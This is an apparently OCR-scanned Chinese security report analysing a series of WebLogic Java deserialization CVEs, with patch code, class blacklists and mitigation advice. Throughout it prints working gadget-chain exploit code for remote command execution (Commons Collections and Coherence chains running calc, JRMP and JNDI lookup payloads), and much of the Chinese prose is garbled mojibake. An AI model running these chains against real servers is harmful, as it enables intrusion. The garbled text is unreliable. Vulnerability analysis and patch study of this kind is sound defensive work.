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Transformer[] transformers = new Transformer[ ]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer ("getMethod", new Class[]{String.class,
Class[].class}, new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer ("invoke", new Class[]{Object.class, Object[].class},
new Object[]{null, new Object[0]}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"open
/Applications/Calculator.app”})};
Transformer transformerChain = new ChainedTransformer(transformers);
Map innerMap = new HashMap();

Map lazyMap = LazyMap.decorate(innerMap, transformerChain);

Class cls = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor ctor = cls.getDeclaredConstructor(Class.class, Map.class);
ctor.setAccessible(true);

InvocationHandler invo = (InvocationHandler)ctor.newInstance(Retention.class,

lazyMap);

Object proxy = Proxy.newProxyInstance(invo.getClass().getClassLoader(), new Class|[]

{Map.class}, invo);

Constructor constructor =
Class.forName( "sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(C
lass.class, Map.class);

constructor.setAccessible(true);

Object obj = constructor.newlnstance(Deprecated.class, proxy);

FJH AnnotationInvocationHandler. readObject J5 k4t — 6411 H 2]
InvokerTransformer. transform J5i, 58 S HA4T

Runtime. getRuntime (). exec RFATIEZ L -

weblogic BFMX R 2 3G 1 2 44 H. 51 3R ClassFilter ZEF|H
resolveClass J772RFIWr S 7 S0 FIME & IS A7AE SR 44 B4 3R LT .

ClassFilter R4 K,

org.apache.commons.collections. functors.*
com.sun.org.apache.xalan.internal.xsltc.trax.*
javassist.*
org.codehaus.groovy.runtime.ConvertedClosure
org.codehaus.groovy.runtime.ConversionHandler

org.codehaus.groovy.runtime.MethodClosure
DG P D
RN E
weblogic.rjvm. InboundMsgAbbrev.class::ServerChannelInputStream

weblogic.rjvm.MsgAbbrevInputStream.class

weblogic.iiop.Utils.class

16
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CVE-2016-0638

IRIEZ S A StreamMessageImpl FR7EIX AN RH G4 H Y InputStream

BT R A F 22 42 b ) ServerChannel InputStream F
MsgAbbrevInputStream [¥) readExternal #E4T )7 54k, X FE5E AT LAGE XA

RABINERT

R R G RRA

10.3.6, 12.1.2, 12. 1.3 M 12. 2. 1

JIAEE R B T StreamMessagelmpl 2, %28 readExternal J5 ik HUAT T
(ObjectInputStream)vars. readObject, vars [IME S E A%, A Z AT
Commons Collections I FHHE M) 75 AEMREAE StreamMessageImpl Xf R B[],
IXRELE S B 5t 2 E 30 A StreamMessagelmpl. readExternal J53%, 1
StreamMessageImpl A& ANTE 44 HLA1 3R BT

XIRAN T B T StreamMessagelmpl. readExternal HJACHE,

StreamMessageImpl ZEE4 AT readExternal J7VEACHS
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public void readExternal(ObjectInput varl) throws IOException, ClassNotFoundException {

super.readExternal(varl);

this.payload = (PayloadStream)
PayloadFactoryImpl.createPayload((InputStream) varl);
BufferInputStream var4 = this.payload.getInputStream();

ObjectInputStream var5 = new ObjectInputStream(var4);

try {
while (true) {

this.writeObject(var5.readObject());

StreamMessagelImpl Z8f&%h 5 readExternal J5715EACHS

public void readExternal(ObjectInput in) throws IOException, ClassNotFoundException {

super.readExternal(in);

this.payload =
(PayloadStream)PayloadFactoryImpl.createPayload( (InputStream)in);
InputStream is = this.payload.getInputStream();

ObjectInputStream ois = new FilteringObjectInputStream(is);

try {
while(true) {

this.writeObject(ois.readObject());

N . . . Y S o SN N
0T FilteringObjectInputStream ZE 4Tt €.
public class FilteringObjectInputStream extends ObjectInputStream {
protected Class<?> resolveClass(ObjectStreamClass descriptor) throws
ClassNotFoundException, IOException {

this.checkLegacyBlacklistIfNeeded(descriptor.getName());

return super.resolveClass(descriptor);

protected void checkLegacyBlacklistIfNeeded(String className) throws
InvalidClassException {

WebLogicObjectInputFilter.checkLegacyBlacklistIfNeeded (className);

WebLogicObjectInputFilter. checkLegacyBlacklistIfNeeded J7i£it &
F R Z T A B 24 B3 3, IX A5 TGV R A StreamMessageImpl K1 A
CommonsCollections FJ k.
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CVE-2016-3510

IXANJRIF AT CVE-2016-0638 F w21, 7E weblogic BIMERE|—MH L, f#
A MarshalledObject ZE#E4T il %, MM Gent B 44 .,

SR R G RRA

10.3.6, 12. 1.3 A1 12.2. 1

% N weblogic. corba. utils. MarshalledObject Hfil & A,

public Object readResolve() throws IOException, ClassNotFoundException,
ObjectStreamException {

if (this.objBytes == null) {
return null;

} else {
ByteArrayInputStream varl = new ByteArrayInputStream(this.objBytes);
ObjectInputStream var2 = new ObjectInputStream(varl);
Object var3 = var2.readObject();
var2.close();

return var3;

}

1X HL 40 SR CommonsCol Lections F) FH % MBI 5 Mar shal ledOb ject K1)
objBytes J@E, B AT LLGId 2 B B 44 5, weblogic fBFMX UK IR I /i /2 75
X HEA#H FilteringObjectInputStream. resolveClass Jy 2= FI W i 7 #1145
I e AL R AL FLAI R L

MarshalledObject fEHMFTAAS .

public Object readResolve() throws IOException, ClassNotFoundException,
ObjectStreamException {
if (this.objBytes == null) {
return null;
} else {
ByteArrayInputStream varl = new ByteArrayInputStream(this.objBytes);
ObjectInputStream var2 = new ObjectInputStream(varl);

Object var3 = var2.readObject();

19
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MarshalledObject &M G 4SS,

public Object readResolve() throws IOException, ClassNotFoundException,
ObjectStreamException {
if (this.objBytes == null) {
return null;
} else {
ByteArrayInputStream bin = new ByteArrayInputStream(this.objBytes);
FilteringObjectInputStream in = new FilteringObjectInputStream(bin) {
protected Class<?> resolveClass(ObjectStreamClass desc) throws IOException,
ClassNotFoundException {
MarshalledObject.filter.check(desc.getName());
return super.resolveClass(desc);
}
Yi
Object obj = in.readObject();

CVE-2017-3248

R

I JRVP YIS BT (ERURFF AL payload.
R ME ARG RRA

10.3.6.0. 12.1.3.0, 12.2. 1.0 1 12. 2. 1. 1
IR

XM A4 weblogic fE4 JRMP 2 7 it i FE 51 AL AR, 1X B weblogic #EAT
S A I 215 R 4R TE 1 JRMP IR 55 3, AT Geiek 2 BT ) 28 44 R ) o

X B A2 N ysoserial TR JRMP 25 5 i Al IR 55 i AXAD o

% F i
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ObjID id = new ObjID(new Random().nextInt());

TCPEndpoint te = new TCPEndpoint(host, port);

UnicastRef ref = new UnicastRef (new LiveRef(id, te, false));

RemoteObjectInvocationHandler obj = new RemoteObjectInvocationHandler(ref);

Registry proxy = (Registry)
Proxy.newProxyInstance(JRMPClient.class.getClassLoader(), new Class[] {

Registry.class
}+ obj);
return proxy;

public UnicastRemoteObject getObject(final String command) throws Exception {
int jrmpPort = Integer.parselnt(command);
UnicastRemoteObject uro =
Reflections.createWithConstructor (ActivationGroupImpl.class, RemoteObject.class, new Class[]
{
RemoteRef.class
}, new Object[]{

new UnicastServerRef (jrmpPort)

)i

Reflections.getField(UnicastRemoteObject.class, "port").set(uro, jrmpPort);

weblogic HIEHNJT RZAE resolveProxyClass J5iZ PR shaS AR HEAT 1)
protected Class<?> resolveProxyClass(String[] interfaces) throws IOException,
ClassNotFoundException {

String[] arr$ = interfaces;

int len$ = interfaces.length;

for(int i$ = 0; i$ < len$; ++i$) {
String intf = arr$[i$];

if(intf.equals("java.rmi.registry.Registry")) {

throw new InvalidObjectException("Unauthorized proxy deserialization");

XRERLTCVEBN A CHE Registry 31017

CVE-2018-2628

7E JRMP HHA{#i F Registry 32 13485 CVE-2017-3248 %M T,

21
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SR R G RRA

10.3.6.0. 12.1.3.0. 12.2. 1.2 f112.2.1.3

IXRGEXT R TH Y CVE-2017-3248 % T #4748, T CVE-2017-3248 Xt JRMP
A3 v 2 BT 7 B SRS BAFAE Registry B0, WX /M D HA 2 420
SEPLA, 6 Z BT payload BT B LIS EI AT 261 .

public Object getObject ( final String command ) throws Exception {

String host;

int port;

int sep = command.indexOf(':"');
if ( sep < 0 ) {

port = new Random().nextInt(65535);
host = command;
}
else {
host = command.substring(0, sep);
port = Integer.valueOf (command.substring(sep + 1));
}
ObjID id = new ObjID(new Random().nextInt()); // RMI registry

TCPEndpoint te = new TCPEndpoint(host, port);
UnicastRef ref = new UnicastRef (new LiveRef(id, te, false));

return ref;

W _EIR G PRS2 FH StreamMessageImpl+JRMP Client £éid, G —
&= java. rmi.activation. Activator ¥t java. rmi. registry. Registry #
BEAT M A BRI,

org.springframework.transaction.support.AbstractPlatformTransactionManager

sun.rmi.server.UnicastRef
B IX A R4 e W RERHLE S — Rl o7 i gesd, 5w a7 2N Send
FHAGEFH 1L, A~ RemoteOb ject InvocationHandler 254k /& T RemoteOb ject 25,
£ RemoteOb ject. readObject V%I4T T ref. readExternal () J7vL A, M
ref JEMEMME R AT T T UnicastRef ZRIMAS 2N, B LLX B4 & 0T DLt 47 58
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CVE-2018-2893
=Nk
EREEN T ISR IR AR U CVE-2020-2628 IS8 .
R ) R G A
10.3.6.0, 12.1.3.0, 12.2. 1.2 f112.2. 1.3
FiR T
XA T 3B MR CVE-2020-2628 FIGEIE, IX RN T8 i 8 42 AR IR .

java.rmi.server.UnicastRemoteObject

java.rmi.server.RemoteObjectInvocationHandler

XK FEH RemoteOb ject InvocationHandler 28N\ 21| 22 44 .
T, CVE-2020-2628 A7 i = Fh 77 At &R v LARHLE 1o

CVE-2018-3191
BTN

B —ANF K INDT JEAK,
com. bea. core. repackaged. springframework. transaction. jta. JtaTransactio
nManager, JtaTransactionManager ZR7EZ BIEEINAN B H T, HZX N H B
FEP AR package I

S ) ZR GERR A

10.3.6.0. 12.1.3.0 f112.2. 1.3
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Ry

X —IKAE
com. bea. core. repackaged. springframework. transaction. jta. JtaTransactio

nManager FE| T —NF ) INDT yE AN, XA INDT JEARFAIML 2 5 T3 B
WRIERIE], payload fAHG 1R,

JtaTransactionManager jtaTransactionManager = new JtaTransactionManager();

jtaTransactionManager.setUserTransactionName("rmi://127.0.0.1:1099/Exploit");
R 7= A L Bl
SeFE N JtaTransactionManager 25 readObject J7v.

private void readObject(ObjectInputStream ois) throws IOException,
ClassNotFoundException {

ois.defaultReadObject();
this.jndiTemplate = new JndiTemplate();

this.initUserTransactionAndTransactionManager () ;

ER T initUserTransactionAndTransactionManager J7:4CHS .,

protected void initUserTransactionAndTransactionManager() throws
TransactionSystemException {

this.userTransaction = this.lookupUserTransaction(this.userTransactionName);

BN lookupUserTransaction J7VE{CHD

protected UserTransaction lookupUserTransaction(String userTransactionName) throws
TransactionSystemException {

return (UserTransaction)this.getdndiTemplate().lookup(userTransactionName,
UserTransaction.class);

AT LLE # 1)E 2 BLA INDLEAN, R userTransactionName HHBHES A%
W 1) RMT AR 45 bk BP AT

BN IR T — B AR

=NV

com.bea.core.repackaged.springframework.transaction.support.AbstractPlatformTransactionManag
er

java.rmi.server.RemoteObject
java.rmi.activation.*

sun.rmi.server. *
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AbstractPlatformTransactionManager 254& JtaTransactionManager HJ4C
2K, 7F resolveClass VA MIiHE4T T super. resolveClass H)E H BT LLAA] DLIX R
)€ JtaTransactionManager 28,

java. rmi. server. RemoteOb ject &f& 5 CVE-2018-3245 JFH .

CVE-2018-3245

Rk

{8 weblogic. jrmp. RegistryImpl Stub Z£253K K # JRMP iR, Mimseit
CVE-2017-3248 14 T .

R R G RRA

10.3.6.0, 12.1.3.0 F112.2. 1.3
= MEba)

R IR 2 HE T CVE-2017-3248 f58I, £E 2 1 F#h T 5L B 1 240
java. rmi. server. RemoteObjectInvocationHandler I 32 44 B4 R B T,
1M RemoteOb jectInvocationHandler 2 flf ARER) FH 2 KN
RemoteOb jectInvocationHandler 254k | RemoteOb ject 2K, 7F
RemoteObject. readObject /71 AT T ref. readExternal () J7vERI I, 1] ref
JE I A Se i AT 1 R UnicastRef 281453 2, Seidix A R 77 24 2] — 428
4k 7K RemoteObject I HAFE R4 HA1R H T LA 1 .

javax.management.remote.rmi.RMIConnectionImpl_ Stub
com.sun.jndi.rmi.registry.ReferenceWrapper_Stub
weblogic.jrmp.RegistryImpl Stub
javax.management.remote.rmi.RMIServerImpl Stub
weblogic.jrmp.RegistryImpl_Stub
sun.rmi.transport.DGCImpl_ Stub
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X LR EL R4k K java. rmi. server. RemoteStub, %R J5 RemoteStub 24k &
java. rmi. server. RemoteObject 2§, bl H 53548 CVE-2018-2628 K]
RemoteOb jectInvocationHandler & 1 412 B AR AT LL T .

BT

java.rmi.server.RemoteObject

TN R4 AR

CVE-2019-2890

XX IRIRAD 2016 ER AN IR R FE—FE, 02 E] 7 — DN Eifh &2k, 78
IXANHTHIZE readObject 7 E I H CUF) Object InputStream X RAEHAT T
(ObjectInputStream)varb. readObject () 4, IXFERLGEN T B4 BT T .

ZRMK RGA
10.3.6.0. 12.1.3.0 F112.2. 1.3

JRIAZE weblogic. wsee. jaxws. persistence. PersistentContext. class

private void readObject(ObjectInputStream varl) throws IOException,

ClassNotFoundException {

this.readSubject(varl);
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private void readSubject(ObjectInputStream varl) {
try {
int var2 = varl.readInt();
byte[] var3 = new byte[var2];
varl.readFully(var3);
if (KernelStatus.isServer()) {

var3 = EncryptionUtil.decrypt(var3);

ByteArrayInputStream var4 = new ByteArrayInputStream(var3);
ObjectInputStream var5 = new ObjectInputStream(vard);
this._subject = (AuthenticatedSubject) var5.readObject();

1F readSubject J7VEH A — 1 EncryptionUtil. decrypt B2 18, £ 751
AT 75 EE IR
FENE R writeSubject 57,

private void writeSubject(ObjectOutputStream varl) throws IOException {
ByteArrayOutputStream var2 = new ByteArrayOutputStream();
ObjectOutputStream var3 = new ObjectOutputStream(var2);
if (SubjectManager.getSubjectManager().isKernelIdentity(this._ subject)) {
AuthenticatedSubject var4 = (AuthenticatedSubject)
SubjectManager.getSubjectManager () .getAnonymousSubject();
var3.writeObject(this.buffer data);
} else {
var3d.writeObject(this.buffer_ data);

var3.flush();
byte[] var5 = var2.toByteArray();
if (KernelStatus.isServer()) {

var5 = EncryptionUtil.encrypt(var5);

/BN SR B EM SIS, SerializedSystemIni . dat3T{Hhlt7E
user_projects\domains\base domain\securityH®F

var5 = EncryptionUtil.getEncryptionService().encryptBytes((byte[]) var5);

varl.writeInt(var5.length);

varl.write(var5);

£ var3. writeObject 75k B buffer data J&MEIME N poc X &, SR )5
%4k PersistentContext % 4 BT,

AT 2016 SEHR PN — 4, 7EIX A
FilteringObjectInputStream ZSHE T IE.

(EXVEEAME
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private void readSubject(ObjectInputStream in) {

ObjectInputStream in2 = new

PersistentContext.WSFilteringObjectInputStream(bais);

CVE-2020-2551

Rk

WebLogic BRINSZHF T3+ TTOP T3 SIAL M A& dm i, AR 18 AR A
BA R, (HRAAE A P AR, 3B R R LR R AL .51 3% B ik ) )
LAFHRAE TTOP i B AT ik o

SR R G RRA

10.3.6.04 12.1.3.0, 12.2.1.3 f112.2. 1.4
IR 53 A

X IR HE T TTIOP B, TTOP Bt 5T 1 51 Ak i A i
weblogic A4 HABIRAEHINL BT :
weblogic.rjvm. InboundMsgAbbrev.class: :ServerChannelInputStream

weblogic.rjvm.MsgAbbrevInputStream.class

Zexd o3 Hir AR TTOP 48 AT T3 5 — > R 44 H813%, (B2 T10P fEAE AL PR i
5 B4 W7 2 75 1 R A2 B8 36 BLTHD, 00 W SR AR SOOI, R4 IR 75 24K 3
— AN HTIRIRAE AN 7 OANE R A4 B 3R B 2R T B T, b
JtaTransactionManager 3§, i85 CVE-2018-3245 FRLL iR SS &R v LAEERAE 110P
GRS

X AN IR H AT ) b 8 42 ERARRD
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public static final Class loadClass(String className, String remoteCodebase, ClassLoader
loadingContext) throws ClassNotFoundException {
Class<?> clz = Utilities.loadClass(className, remoteCodebase, loadingContext);
if (!WebLogicObjectInputFilter.isClassAllowed(clz)) {
throw new BlacklistedClassException(clz.getName());
} else {
return clz;
}
}

EANEACRS .

public static void verifyClassPermitted(Class<?> clz) {
if (clz != null) {
for(Class classToVerify = clz; classToVerify != null; classToVerify =
classToVerify.getSuperclass()) {
if (!WebLogicObjectInputFilter.isClassAllowed(classToVerify)) {
throw new BlacklistedClassException(classToVerify.getName());

}

}

i3 LA T3 Y BEIT T S0k
CVE-2020-2555
IR

X RIS KN weblogic {8 T Oracle Coherence ZHf4, webloige 12¢
N CA b RRAR BRI FAZ AT, AEIXAN A R R 7 — 2558 i s B4 R FH 6%

YW R G RA

3.7.1.0, 12.1.3.0.0, 12.2.1.3.0, 12.2.1.4.0
FeiR i

g th— B B poe A0S, SR JEARIEIZAS poc AR TR
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ReflectionExtractor extractorl = new ReflectionExtractor(
"getMethod",
new Object[]{"getRuntime", new Class[0]}

)i

// get invoke() to execute exec()

ReflectionExtractor extractor2 = new ReflectionExtractor(
"invoke",

new Object[]{null, new Object[0]}

)i

// invoke("exec","calc")

ReflectionExtractor extractor3 = new ReflectionExtractor(
"exec",

new Object[]{new String[]{"calc"}}

ReflectionExtractor[] extractors = {
extractorl,
extractor2,
extractor3,

}i

ChainedExtractor chainedExtractor = new ChainedExtractor(extractors);

LimitFilter limitFilter = new LimitFilter();

//m_comparator
Field m comparator = limitFilter.getClass().getDeclaredField("m comparator");
m_comparator.setAccessible(true);

m_comparator.set(limitFilter, chainedExtractor);

//m_oAnchorTop
Field m_oAnchorTop = limitFilter.getClass().getDeclaredField("m oAnchorTop");
m_oAnchorTop.setAccessible(true);

m_oAnchorTop.set(limitFilter, Runtime.class);

BadAttributevValueExpException badAttributeValueExpException = new
BadAttributeValueExpException(null);

Field field = badAttributeValueExpException.getClass().getDeclaredField("val");

field.setAccessible(true);

field.set(badAttributeValueExpException, limitFilter);

BadAttributeValueExpException 2 readObject 24447 val. toString, £ &

T LimitFilter 2XM tostring k.
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public String toString() {
StringBuilder sb = new StringBuilder("LimitFilter: (");
sb.append(this.m filter).append(" [pageSize=").append(this.m cPageSize).append(",
pageNum=") .append(this.m_nPage);
if (this.m comparator instanceof ValueExtractor) {
ValueExtractor extractor = (ValueExtractor)this.m comparator;
sb.append(", top=").append(extractor.extract(this.m oAnchorTop)).append(",
bottom=") .append(extractor.extract(this.m oAnchorBottom));
} else if (this.m comparator != null) {

sb.append(", comparator=").append(this.m_comparator);

X2 W R ARSI T ValueExtractor 32 M, 285 24T
this. m comparator HJ extract 777 F4 this. m oAnchorTop HIE N extract
Jry B, 0 this. m comparator {H & ChainedExtractor 28 IXFESHAT

ChainedExtractor. extract /7%, this. m_oAnchorTop HJ{H A& Runtime. class

public Object extract(Object oTarget) {
ValueExtractor[] aExtractor = this.getExtractors();

int 1 = 0;
for(int ¢ = aExtractor.length; i < ¢ && oTarget != null; ++i) {

oTarget = aExtractor[i].extract(oTarget);

return oTarget;

}

% | this. getExtractors()

public AbstractCompositeExtractor (ValueExtractor[] aExtractor) {
azzert (aExtractor != null);

this.m_aExtractor = aExtractor;

}

public ValueExtractor[] getExtractors() {
return this.m_aExtractor;

}

X B AP ATIRIE] this. m aExtractor, 1] this. m aExtractor s i p& % 5L
T A, 7T LA 3] poc HLHISS H)3E R BB (E /2 extractors AR S,
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ReflectionExtractor extractorl = new ReflectionExtractor(
"getMethod",

new Object[]{"getRuntime", new Class[0]}

)i
ReflectionExtractor extractor2 = new ReflectionExtractor(
"invoke",

new Object[]{null, new Object[0]}

)i
ReflectionExtractor extractor3 = new ReflectionExtractor
"exec",
new Object[]{new String[]{"calc"}}
)i
ReflectionExtractor[] extractors = {
extractorl,
extractor2,

extractor3,

}i

IR A H2=FAT ReflectionExtractor. extractor J5ik,

public Object extract(Object oTarget) {
if (oTarget == null) {
return null;
} else {
Class clz = oTarget.getClass();

try {
Method method = this.m methodPrev;
if (method == null || method.getDeclaringClass() != clz) {
this.m_methodPrev = method = ClassHelper.findMethod(clz,
this.getMethodName(), this.getClassArray(), false);
}

return method.invoke(oTarget, this.m aoParam);
} catch (NullPointerException vard) {

throw new RuntimeException(this.suggestExtractFailureCause(clz));
} catch (Exception var5) {

throw ensureRuntimeException(var5, clz.getName() + this + '(' + oTarget +

1% HLA] DU 2 A S ) S SR s, BRI A R
ChainedExtractor+ReflectionExtractor HJiHFHEEEE CommonsCollectionsl HY
ChainedTransformer+InvokerTransformer & FHEEHEE 1, B )54 N 234N 5% .
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* gadget:

* BadAttributeValueExpException.readObject()

* com.tangosol.util.filter.LimitFilter.toString()

* com.tangosol.util.extractor.ChainedExtractor.extract()

* com.tangosol.util.extractor.ReflectionExtractor.extract()
* Method.invoke()

*

* Runtime.getRuntime.exec()

Oracle BMTE 1 H 11 KA T IRESFN T R ARGRIZ AN ] #, X A T 2R
M7 LimitFilter 28/ tostring ik
EELRT ) tostring J7 VR4S,

public String toString() {

StringBuilder sb = new StringBuilder("LimitFilter: (");
sb.append(this.m filter).append(" [pageSize=").append(this.m cPageSize).append(",
pageNum=") .append(this.m nPage);
if (this.m comparator instanceof ValueExtractor) {
ValueExtractor extractor = (ValueExtractor)this.m comparator;
sb.append(", top=").append(extractor.extract(this.m oAnchorTop)).append(",
bottom=").append(extractor.extract(this.m oAnchorBottom));
} else if (this.m comparator != null) {

sb.append(", comparator=").append(this.m_comparator);

BMUE tostring J7EECHT

public String toString() {
StringBuilder sb = new StringBuilder("LimitFilter: (");

sb.append(this.m filter).append(" [pageSize=").append(this.m_cPageSize).append(",
pageNum=").append(this.m_nPage);
if (this.m_comparator != null) {
sb.append(", top=").append(this.m_oAnchorTop).append(",
bottom=").append(this.m oAnchorBottom).append(", comparator=").append(this.m comparator);
}
sb.append("1)");

return sb.toString();

IR BRI LB B L4 [ extractor 7L
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CVE-2020-2883
iR
XN CVE Ji &3 T CVE-2020-2555 HI%eid, VA5 LimitFilter 22EFAT

extract vk, R —1EIAT extract FIEBATEL T .

-4 ZLINES TS

10.3.6.0, 12.1.3.0, 12.2.1.3 f12.2.1.4
IR

46T poc

ValueExtractor[] valueExtractors = new ValueExtractor([]({
new ReflectionExtractor ("getMethod", new Object[]{
"getRuntime", new Class[0]
})f
new ReflectionExtractor("invoke", new Object[]{null, new Object[0]}),

new ReflectionExtractor("exec", new Object[]{new String[]{"calc"}})

}i
ExtractorComparator extractorComparator = new ExtractorComparator();
Field m_comparator = extractorComparator.getClass().getDeclaredField("m extractor");

m_comparator.setAccessible(true);

m_comparator.set (extractorComparator, new ChainedExtractor(valueExtractors));

PriorityQueue queue = new PriorityQueue(2);
queue.add(1l);
queue.add(1l);

Field field = PriorityQueue.class.getDeclaredField("queue");

field.setAccessible(true);

Object[] innerArr = (Object[]) field.get(queue);
innerArr[0] = Runtime.class;
innerArr[1] = Runtime.class;

field = PriorityQueue.class.getDeclaredField("comparator");
field.setAccessible(true);

field.set(queue, extractorComparator);

X B FEEFH ExtractorComparator Z5E# | LimitFilter 2R34T

extract 77??50
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public int compare(Object ol, Object 02) {

Comparable al = (Comparable)this.m extractor.extract(ol);
Comparable a2 = (Comparable)this.m extractor.extract(o2);
if (al == null) {

return a2 == null ? 0 : -1;
} else {

return a2 == null ? 1 : al.compareTo(a2);
}

SR JG1# H PriorityQueue 28247 compare 77k,

private void readObject(java.io.ObjectInputStream s)

heapify();
private void heapify() {
for (int i = (size >>> 1) - 1; i >= 0; i--)

siftDown(i, (E) queue[i]);

private void siftDown(int k, E x) {
if (comparator != null)
siftDownUsingComparator(k, x);
else
siftDownComparable(k, X);

}
private void siftDownUsingComparator(int k, E x) {
while (k < half) {

if (right < size &&
comparator.compare((E) ¢, (E) gqueue[right]) > 0)
c = queue[child = right];

if (comparator.compare(x, (E) c) <= 0)

break;

}
queue[k] = x;

}

X H comparator J& /& ExtractorComparator 35, A PA< 1/ H
ExtractorComparator. compare J5v%, |~ Bt I CVE-2020-2555 —#£ 1, FJa 4l
T
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* gadget:
* PriorityQueue.readObject()
*
% ExtractorComparator.compare()
* ChainedExtractor.extract()
* com.tangosol.util.extractor.ChainedExtractor.extract()
* com.tangosol.util.extractor.ReflectionExtractor.extract()
* Method. invoke()
*
* Runtime.getRuntime.exec()

EIABANRTRZ G N 7 =SB Rk
java.lang.Runtime

com.tangosol.coherence.rest.util.extractor.MvelExtractor

com.tangosol.util.extractor.ReflectionExtractor

%A ReflectionExtractor 28 RIHI] poc BLikA ik & 25 T, MvelExtractor
XA £ CVE-2020-2915 JRTH, /& PriorityQueuetMvelExtractor #E4T3R 1A
VEN, 24 CVE JRIFALE R — N4 T B & £b .
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IS

4.1 RAMSE

WebLogic BRINSCRE T3, TT0P S5 T H AL B A% i p i, 84 WebLogic 7£
B N B 34T ST AL, BT JAVA 78 SOF LI 2530047 readOb ject 2575
7%, i WebLogic H &S H TARZ jar, XFESUIR A 5 H BT FILIRIRE, WebLogic
(¥ 5 P AUAG IR IR AT T AT AR B i 2, fEFH SR

M WebLogic H—ANRJFFIIRIFAH 46, 7T UG Bl IR K IE — B1E
WebLogic 1ib H1 3BT I FHEE, B X B4 1H 1 T WebLogic 10. 3. 6 A S 481
A jar, ¥24# WebLogic YA #ZE NIXEE jar 2 THERHT 18 FH 8% .

WebLogic RAG M H#h T HH B A MIRE . I3, 577 K H B4 5ok
IEEBRE IR, B AHRERLE ClassFilter FHM, 24 A i@ H
R SARAD B AT 0 U R R ) OGBSI R A T DA I 0 L B
AT R A R POC.

4.2 BREW

® IENV S A T3, TIOP £ Wi, 7T LAFESR ] & #E4T 55 11 .

HARHRAE:

(1) HEA WebLogic ##I4, 7E base domain FIBCE TR, BEN “2¢4”
IR TUM, sl “OEat” , SENERIIERIE .

(2) (EHERTRILSE PR
weblogic. security. net. ConnectionFilterImpl, fEZE 20k 4% A )
i N: 127.0.0.1 % % allow t3 t3s, 0.0.0.0/0 % * deny t3 t3s
(t3 A1 t3s PRI T I 1 R SR AT 1)) o

(3) fE Weblogic fE#HI&G T, W “K%H” —>” AdninServer” —>” #p
w”, BUH “JEH 110P” Bya)ik.
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(4 RAFETREBEZ, BT ER
KiE oracle BHZEALBE, MEBERMMAT, RITHRBIAZY
N (PR RRAS S BUE TR AT U 258 4 1
oracle B JT %4 At iR
https://www. oracle. com/security-alerts/#SecurityAlerts
H BT R Fl{E 2 711 TopWAF J2 TopIDP Z 517 i & BT LA A8 FH 2R R ke
R By, REME A SRRSO PR R SCRE, I f 77 29k 4T 7 x
24 /NI IR IR B HELAE 1 400-777-0777.  KAME WEB N 22 4B R 4
(TopWAF 7= i) BA S R RS 28 7 H F R IR B R 58 (TopIDP 7= ) .
TopWAF B4 Wi APy Thee, BIEEAR T Sqlmap, AWVS, APPScan
& [RIN L A Web IR XCEBIHIDIRE, BEFREART SQL AL XSS, Hx
WG AR A A AT WebShell A&, W] LLA 2B M % M T A
AN LW 7 T ) Web Briki o
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